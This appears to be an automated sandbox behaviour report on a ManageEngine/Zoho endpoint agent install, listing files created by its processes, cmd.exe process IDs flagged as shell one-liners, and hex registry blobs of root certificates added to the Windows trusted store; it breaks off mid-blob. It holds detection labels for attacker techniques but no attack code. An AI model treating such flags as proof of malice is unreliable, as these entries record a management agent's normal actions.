description ioc Process File created C:\Windows\INF\c_volume.PNF dcinventory.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File opened for modification C:\Windows\Installer\MSICE3.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\e59ff08.mst msiexec.exe File opened for modification C:\Windows\Installer\e59ff08.mst msiexec.exe File opened for modification C:\Windows\Installer\MSI6F86.tmp msiexec.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File created C:\Windows\INF\c_processor.PNF dcinventory.exe File created C:\Windows\INF\c_media.PNF dcinventory.exe File created C:\Windows\INF\c_monitor.PNF dcinventory.exe File created C:\Windows\INF\c_display.PNF dcinventory.exe File created C:\Windows\Installer\e59ff07.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI36C.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\e59ff07.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e59ff10.msi msiexec.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File created C:\Windows\INF\c_diskdrive.PNF dcinventory.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 18 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5772 cmd.exe 4364 cmd.exe 4828 cmd.exe 4404 cmd.exe 3832 cmd.exe 3936 cmd.exe 3764 cmd.exe 4544 cmd.exe 3108 cmd.exe 1796 cmd.exe 1584 cmd.exe 1784 cmd.exe 5960 cmd.exe 4584 cmd.exe 2512 cmd.exe 2312 cmd.exe 3848 cmd.exe 2628 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 34 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1900000001000000100000009483285b20fccdb265fe95c3f298f3931400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c60f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c2000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 0f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c61400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c32000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c60f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c2000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob = 5900000001000000120000005200530041002f0053004800410031000000040000000100000010000000e1c07ea0aabbd4b77b84c228117808a71400000001000000140000000eac826040562797e52513fc2ae10a539559e4a469000000010000000e000000300c060a2b0601040182373c03020b000000010000004a0000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079000000030000000100000014000000cdd4eeae6000ac7f40c3802c171e30148030c0720f0000000100000014000000391be92883d52509155bfeae27b9bd340170b76b190000000100000010000000983b132635b7e91deef54a6780c092695c00000001000000040000000010000020000000010000009d0500003082059930820381a003020102021079ad16a14aa0a5ad4c7358f407132e65300d06092a864886f70d0101050500305f31133011060a0992268993f22c6401191603636f6d31193017060a0992268993f22c64011916096d6963726f736f6674312d302b060355040313244d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479301e170d3031303530393233313932325a170d3231303530393233323831335a305f31133011060a0992268993f22c6401191603636f6d31193017060a0992268993f22c64011916096d6963726f736f6674312d302b060355040313244d6963726f736f667420526f6f7420436572746966696361746520417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a0282020100f35dfa8067d45aa7a90c2c9020d035083c7584cdb707899c89dadecec360fa91685a9e94712918767cc2e0c82576940e58fa043436e6dfaff780bae9580b2b93e59d05e3772291f734643c22911d5ee10990bc14fefc755819e179b70792a3ae885908d89f07ca0358fc68296d32d7d2a8cb4bfce10b48324fe6ebb8ad4fe45c6f139499db95d575dba81ab79491b4775bf5480c8f6a797d1470047d6daf90f5da70d847b7bf9b2f6ce705b7e11160ac7991147cc5d6a6e4e17ed5c37ee592d23c00b53682de79e16df3b56ef89f33c9cb527d739836db8ba16ba295979ba3dec24d26ff0696672506c8e7ace4ee1233953199c835084e34ca7953d5b5be6332594036c0a54e044d3ddb5b0733e458bfef3f5364d842593557fd0f457c24044d9ed6387411972290ce684474926fd54b6fb086e3c73642a0d0fcc1c05af9a361b9304771960a16b091c04295ef107f286ae32a1fb1e4cd033f777104c720fc490f1d4588a4d7cb7e88ad8e2dec45dbc45104c92afcec869e9a11975bdece5388e6e2b7fdac95c22840dbef0490df813339d9b245a5238706a5558931bb062d600e41187d1f2eb597cb11eb15d524a594ef151489fd4b73fa325bfcd13300f95962700732ea2eab402d7bcadd21671b30998f16aa23a841d1b06e119b36c4de40749ce15865c1601e7a5b38c88fbb04267cd41640e5b66b6caa86fd00bfcec1350203010001a351304f300b0603551d0f0404030201c6300f0603551d130101ff040530030101ff301d0603551d0e041604140eac826040562797e52513fc2ae10a539559e4a4301006092b06010401823715010403020100300d06092a864886f70d01010505000382020100c5114d033a60dd5d5211778fb2bb36c8b205bfb4b7a8d8209d5c1303b61c22fa061335b6c863d49a476f2657d255f104b1265fd6a95068a0bcd2b86eccc3e9acdf19cd78ac5974ac663436c41b3e6c384c330e30120da326fe515300ffaf5a4e840d0f1fe46d052e4e854b8d6c336f54d264abbf50af7d7a39a037ed63030ffc1306ce1636d4543b951b51623ae54d17d40539929a27a85baabdecbbbee3208960716c56b3a513d06d0e237e9503ed683df2d863b86b4db6e830b5e1ca944bf7a2aa5d9930b23da7c2516c28200124272b4b00b79d116b70beb21082bc0c9b68d08d3b2487aa9928729d335f5990bdf5de939e3a625a3439e288551db906b0c1896b2dd769c319123684d0c9a0daff2f6978b2e57adaebd70cc0f7bd6317b8391338a2365b7bf285566a1d6462c138e2aabf5166a294f5129c6622106bf2b730922df229f03d3b144368a2f19c2937cbce3820256d7c67f37e24122403088147eca59e97f518d7cfbbd5ef7696effdcedb569d95a042f99758e1d73122d35f59e63e6e2200ea4384b625dbd9f3085668c0646b1d7cecb693a262576e2ed8e7588fc4314926ddde293587f53071705b143c69bd89127deb2ea3fed87f9e825a520a2bc1432bd930889fc810fb898de6a18575337e6c9edb7313646269a52f7dca966d9ff8044d30923d6e211421c93de0c3fd8a6b9d4afdd1a19d9943773fb0da dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000265d0507d82fa26084bd837df52180a7056f5a85030000000100000014000000109f1caed645bb78b3ea2b94c0697c740733031c19000000010000001000000083b65318664e6fa245e0d7609fb958202000000001000000130400003082040f308202f7a003020102020a198b11d13f9a8ffe69a0300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937313030313037303030305a170d3032313233313037303030305a3081c3312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e3141303f060355040b13384d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747920496e7465726d656469617465204341311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3131302f060355040313284d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747930819f300d06092a864886f70d010101050003818d0030818902818100e04e100eb8a7ef21ca605adc9f1e3e83775a292ef94ee5085ddee1cf09c01f44b707a84ba422303b190683eef3ac2778aecad6402bce7901e19d568b3672b163905fa0b2c066a649c53cfa26a262c3d3b5cc61154cf23fb4e7450843897f6a8dd566fbd7ff6400c411fd2ca30b75b0fbe5ac2665a381e666493d1d737a9b71d70203010001a381da3081d7300f0603551d130101ff040530030101ff301f0603551d250418301606082b06010505070303060a2b0601040182370a03053081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010016d8587683608be849582c050b644d40ad2d4dc2fc5f7d963cd0afb954522828d5655e8f710eb3080e1509c9d592cc241144242d51dfaf54444b7bd671d4d73a357cd186b405dca7097498b21b166d39a7446aad79eaa2cdff5b2a63d1848422ab98c68762621b539615604731571ee00161ad36efc52d0ab4d01853f3569cb4b7b7050433ad29279351070c9ebe80ff15bc26c741f36ce2c2eaafb4ae5e08bba8c95b509b4a08430ccedcffbb2aa7816f5facbc7528ea363ebc0a94450b5ccdb5e39f238cb507813d5978514639bca7f66d17037fee529a39bc09f2d2baa8d79505eb465254718ee87ecd9a6ee74af3a449f0cac695a5516055bd741ecb2c01 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b52000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 5c0000000100000004000000000800001900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b5040000000100000010000000db40a511c228438a4ea22d289a27bc672000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c